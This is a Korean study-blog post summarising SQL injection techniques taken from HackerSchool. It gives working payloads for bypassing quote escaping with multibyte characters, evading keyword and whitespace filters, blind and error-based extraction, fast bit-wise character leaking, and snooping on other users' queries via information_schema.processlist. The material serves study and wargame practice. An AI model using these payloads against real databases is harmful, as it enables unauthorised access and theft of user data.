www.hackerschool.org/Sub_Html/HS_Posting/?uid=42
www.hackerschool.org/Sub_Html/HS_Posting/?uid=43
해커스쿨 - SQL Injection 정리
<SQL Injection>
- SQL query를 Injection해서 데이터베이스를 공격하는 기법
- 데이터베이스는 서버사이드 언어와 구분되는 하나의 프로그램이라서 SQL Injection은 다른 해킹기법과 조금 다름.
- 데이터베이스 자체에서 SQL Injection 을 방어하는것은 어렵고 비효율적
개발자는 데이터베이스에 가해지는 공격을 서버사이드에서 방어해야 함.
- 보통 싱글쿼터 (') 앞에 백슬래시를 붙이거나 magic_quotes_gpc = on 으로 설정하는 것으로 SQL Injection에 대한 방어를 끝냄.
php, mysql 환경에서 이를 우회 가능.
- int 형의 변수는 [ select * from table where no=123 ]같이 싱글쿼터로 묶지 않음.
때문에 [ 123 union select 1,2,3 ] 처럼 악의적인 값을 입력할 경우, 싱글쿼터 필터링과 상관없이 쿼리가 성공적으로 변조.
- varchar 형의 변수를 데이터베이스에 전달할 경우 [ select * from table where id='asdf' ] 와 같이 싱글쿼터로 변수가 묶임.
Injection 공격을 싱글쿼터 필터링으로 방어할 수 있지만, 우회 방법도 존재.
》[1' or 1=1#] => [1\' or 1=1#] 싱글쿼터 앞에 '\'(백슬래시)를 붙여서 싱글쿼터 필터링 (SQL Injection 공격 방어)
멀티바이트를 사용하는 언어셋 환경에서는 '\' 앞에 %a1 ~ %fe 의 값이 들어오면 %a1\ 가 한개의 문자처럼 취급.
[1%a1' or 1=1#] => [1%a1\' or 1=1#] => [1?'or 1=1#] 백슬래쉬가 다른 문자로 바뀌면서 싱글쿼터 필터링 우회.
< SQL Injection Filter Bypass >
- 웹사이트에 오픈소스를 사용했거나 방화벽이 설치된 경우 키워드가 필터링 될 수도 있음.
이럴 경우 필터링을 우회하는 방법이 존재.
》공백문자를 필터링할 경우에는 %09, %0a, %0b, %0c, %0d, %a0, /**/ 를 사용해서 공백문자 대체 가능.
또는 () 사용 가능.
select * from table → select(*)from(table)
select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용한 기법.
》#, -- 등의 주석이 필터링 되었을 경우에는 ;%00, /*를 대신 사용.
(Null문자는 magic_quotes_gpc 의 영향을 받으므로 주의)
》싱글쿼터가 막혀서 문자열을 집어넣을 수 없을때는 0x, 0b를 사용해서 2진법, 16 진법으로 치환.
환경에 따라서 x, b 만 사용해도 됨.
ex) select x'61' = 'a'
0x, 0b 대신 36 진법을 사용해도 됨.
ex) select conv(10,10,36)='A'
가젯에서 추출하는 방법.
ex) select substr(monthname(from_unixtime(1)),2,1)='a'
// monthname(from_unixtime(1)) = 'January'
》숫자를 사용할 수 없는 경우에는 auto type cast 를 사용해서 우회.
false = 0
true = 1
true+true = 2
floor(version()) = 5
》일반적인 SQL Injection이 불가능할 경우에는 Blind SQL Injection 을 사용
Blind SQL Injection 을 하기 위해서는 글자를 잘라내는 과정이 선행되어야 함. 이때 substr 함수가 필터링 될 수도 있음.
콤마만을 필터링당했을 경우
→ select substr('asdf' from 1 for 1)='a'
함수 자체가 필터링된 경우
→ substring 함수로 대체
그러나 substring 함수에 substr 라는 문자열이 들어가기 때문에 substr( 와 함께 필터링될 수 있음.
그럴때는 like 쿼리의 와일드카드를 사용해서 우회 가능.
→ select id from member where id like 'a%'
→ select id from member where id like 'b%'
→ select id from member where id like 'c%'
%는 뒤에 몇글자가 들어오던지 상관하지않고 select 를 해주는 역할을 함.
첫번째 글자를 알아낸 후에는 뒤에 한글자씩 추가.
→ select id from member where id like 'ca%'
→ select id from member where id like 'cb%'
→ select id from member where id like 'cc%'
와일드카드 사용 시 여러개의 데이터가 동시에 select 될 경우가 있으니 익스플로잇을 작성할때 유의.
like가 필터링되면 left 함수와 right 함수를 섞어서 우회 가능.
// left와 right 함수는 각각 1번째 인자로 들어온 값을 왼쪽, 오른쪽으로부터 2번째 인자로 들어온 값 만큼 잘라내는 함수.
→ select right(left('asd',1),1) = 'a'
→ select right(left('asd',2),1) = 's
→ select right(left('asd',3),1) = 'd'
< Error Based SQL Injection >
- 에러메세지를 기반으로 하는 SQL Injection 기법으로 에러메세지를 출력해주는 제한적인 환경에서만 사용 가능.
- 대신 쿼리 한번으로 원하는 데이터를 한번에 띄울 수 있기 때문에 로그가 적게남고, 공격하는데에 소요되는 시간이 단축돼서 Blind SQL Injection 기법에 비해 간편하고 빠름.
- mssql 환경에서는 서로 다른 데이터형의 값을 비교하게 되면 앞의 값을 뒤의 데이터형과 비교할 수 없다고 에러메세지를 한번에 출력하기 때문에 Error Based SQL Injection 기법 사용이 수월함.
- mssql 환경에서는 select * from table where 'asdf'=123 이라는 쿼리를 날렸을 경우에 ['asdf' 를 int 형의 값과 비교할 수 없습니다!] 라는 에러메세지가 뜨지만, mysql 에서는 auto type cast 때문에 서로 다른 데이터형의 값을 비교해도 에러가 발생하지 않음.
- mysql 에서는 아래와 같이 공격해야 함.
》select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a
// 여러개의 값에 같은 키워드를 주고 그 키워드로 정렬해서 에러를 내는 원리
< Error Based Blind SQL Injection >
- 사용할 상황이 드문 공격기법...
① select * from table where 1 and if(1=1,1,(select 1 union select 2))
② select * from table where 1 and if(1=2,1,(select 1 union select 2))
①는 if 절이 1=1 로 참이 되면서 단순히 1을 반환.
②는 if 절이 거짓이 되면서 select 1 union select 2 라는 쿼리를 실행 → 서브쿼리에서 복수의 값을 반환하면서 에러 발생
< Indirect SQL Injection >
- 이 공격은 php.ini 의 magic_quotes_runtime 옵션이 off 일때만 적용 가능
》싱클쿼터가 쿼리에 있으면 데이터베이스에 전달할 때 '\'추가 (싱글쿼터 필터링)이 안되기 때문에 쿼리에 영향을 미침.
< Efficient Blind SQL Injection >
- 쿼리를 효율적으로 작성하면 Blind SQL Injection 을 수행할 때 7회의 쿼리만으로 한 글자를 알아낼 수 있음.
- 각 글자를 10진수로 변환해주고 다시 2진수로 변환한 후에 lpad 함수를 사용해 7글자로 맞추면 됨.
- 페이로드는 아래와 같음
》elect substr(lpad(bin(ascii(substr('asdf',1,1))),7,0),1,1)
- 만약 알아내야하는 값이 16진수의 묶음이라면 아래와 같은 쿼리를 통해서 글자당 4회의 쿼리로 더욱 효율적이고 빠른 공격이 가능.
》select substr(lpad(bin(if(ascii(substring(pw,1,1)) < 90,ascii(substring(pw,1,1))-48,ascii(substring(pw,1,1))-87)),4,0),1,1)
< SQL Injection with information schema.processlist >
- 대형 사이트를 대상으로 SQL Injection 공격을 진행할 때 information schema.processlist 테이블을 사용하면 원하는 정보가 담긴 테이블을 빠르게 찾을 수 있음.
// information schema.processlist 테이블에 현재 실행중인 쿼리들을 저장
- select info from information_schema.processlist 라는 쿼리를 통해서 현재 실행중인 쿼리를 볼 수 있으며, 반복적으로 시도하면 다른 사용자가 실행중인 쿼리를 조회할 수도 있음.
- 만약 다른 사용자가 로그인중일때 select info from information_schema.processlist를 통해서 사용자가 로그인 시 실행된 쿼리를 조회하는데 성공했다면 회원들의 정보가 들어있는 칼럼명과 테이블명을 한 번에 볼 수 있음.
SQL Injection 필터 우회: MySQL Syntax 정리
< MySQL Syntax >
- 주석
#, -- ( --다음에는 공백이 항상 따라와야 함. 그 후 아무 문자 하나 ), /**/ (Mysql 5.1 버젼 이하), ;%00
- 연산자
^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>, <=>, XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
' or 1 rlike 1
- 공백
%20 %09 %0a %0b %0c %0d /**/ 또한 () 와 같이 (, )연달아 사용하면 하나의 공백으로 인식.
'or+(1)sounds/**/like“1“--%a0-
- 문자열
MySQL은 auto type cast 때문에 다른 데이터형간 비교가 자유로움.
' or “a“ = 'a
"a"와 'a'가 = 연산자에 의해 동일하게 취급됨. 하지만 == 연산자를 쓴다면 type까지 비교하므로 false
- 상수들
true, false, null, \N, current_timestamp 등
- 환경 변수들
@@version, @@datadir, ...
mysql> show variables; // 272 rows in set (실제로 272개의 변수들이 존재한다 by default)
- 내장 함수들
query가 mysql로 전달될때 query문 내부에서 함수에 의해 계산된 결과값이 리턴.
자주 사용되는 함수: substr(), version(), pi(), pow(), char(), substring(), ...
-형변환
auto type cast 때문에 C언어의 type cast와는 다르게 암묵적으로 형변환 함.
'Study > Web Hacking' 카테고리의 다른 글
[XSS Challenge] Stage #1 (0) | 2021.03.27 |
---|---|
[LOS] gremlin (0) | 2021.03.27 |
[natas] Level 0 ~ Level 1 -> Level 2 (0) | 2021.03.26 |
[WEB]: XSS game 06 (0) | 2021.02.17 |
[WEB]: XSS game 05 (0) | 2021.02.08 |